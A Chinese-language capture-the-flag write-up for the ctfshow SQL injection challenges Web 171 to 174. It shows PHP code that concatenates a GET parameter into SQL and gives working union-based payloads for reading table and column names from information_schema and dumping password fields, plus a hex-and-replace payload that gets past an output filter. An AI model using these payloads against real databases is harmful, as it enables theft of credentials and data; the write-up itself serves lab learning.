Web 171
打开发现以下内容。
看到了一个查询语句,于是认真看了一下。
//拼接sql语句查找指定ID用户
$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";
直接传入1,代码会变成
select username,password from user where username !='flag' and id ='1' limit 1;
这样可以查询到,但当我输入1‘时就不行了。
仔细看当我输入的是1’时,语句会变成
select username,password from user where username !='flag' and id ='1'' limit 1;
1后边会变成两个单引号,语句不规范,显示错误。
我们在后面加个注释符,即变成id=1'--+(+相当于空格的作用)
这时语句会变成
select username,password from user where username !='flag' and id ='1'
后边的一部分会被注释掉。
之后就可以接入我们需要的语句。
利用union语句来连接查询一下数据库的名字。
1' union select database(),2,3 --+
在前边加一个负号来把查询id回显的数据给置空。
然后查询表名,可以用group_concat函数,它可以把相同行的数据都组合起来。
-1' union select group_concat(table_name),2,3 from information_schema.tables where table_schema="ctfshow_web" --+
roup_concat函数的功能. 将group by产生的同一个分组中的值连接起来,返回一个字符串结果。. group_concat函数首先根据group by指定的列进行分组,将同一组的列显示出来,并且用分隔符分隔。
查询到表名,然后查询列名。
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_user'--+
一个一个尝试查询,最后在password找到flag。
-1' union select password,2,3 from ctfshow_user --+
Web 172
利用order by查询有几列。
当输入到
1' order by 2 --+
之后就发现不成功,所以有两列
然后查询数据库名
1' union select database(),1 --+
再查询表名:
-1' union select group_concat(table_name),1 from information_schema.tables where table_schema="ctfshow_web" --+
有两个表,一个一个试一下。
第一个
-1' union select password,1 from ctfshow_user --+
第二个
-1' union select password,1 from ctfshow_user2 --+
Web 173
多了一个正则绕过
//检查结果是否有flag
if(!preg_match('/flag/i', json_encode($ret))){
$ret['msg']='查询成功';
}
但好像没什莫关系。
先查有几列。
到
1' order by 3 --+
之后就不会再显示所以有三列。
然后就和上两题一样。
最后发现表名到了一个ctfshow_user3
然后直接查询了
-1' union select password,1,2 from ctfshow_user3 --+
Web 174
刚进入发现和173一摸一样,有点意外,试着写了一下发现我进错了。
之后又点了一下才出来了。
这次过滤多了一点。
看了一位师傅不一样的解法。
这位师傅用了替换的思路将1-0数字用q~p替换,但本来的flag中一定也会有一些小写字母,这样的话就没办法分辨那个是原本的字母哪个是替换出来的。
所以为了避免这个问题,将password首先hex一下,因为hex()函数的返回值中字母都是大写的,所以我们返回结果中的小写字母就是原来的数字,而大写字母就是原本的字符。
这个虽然说比较麻烦,但也是一种很好的解题思路。
Payload:
1' union select 'q',(select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(hex(password),'1','q'),'2','w'),'3','e'),'4','r'),'5','t'),'6','y'),'7','u'),'8','i'),'9','o'),'0','p') from ctfshow_user4 where username='flag')--+
replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(hex(password),'1','q'),'2','w'),'3','e'),'4','r'),'5','t'),'6','y'),'7','u'),'8','i'),'9','o'),'0','p') from ctfshow_user4 where username='flag')--+
到最后将小写字母替换然后16进制转换一下。
看了许多解法一般都是利用python脚本写出来的。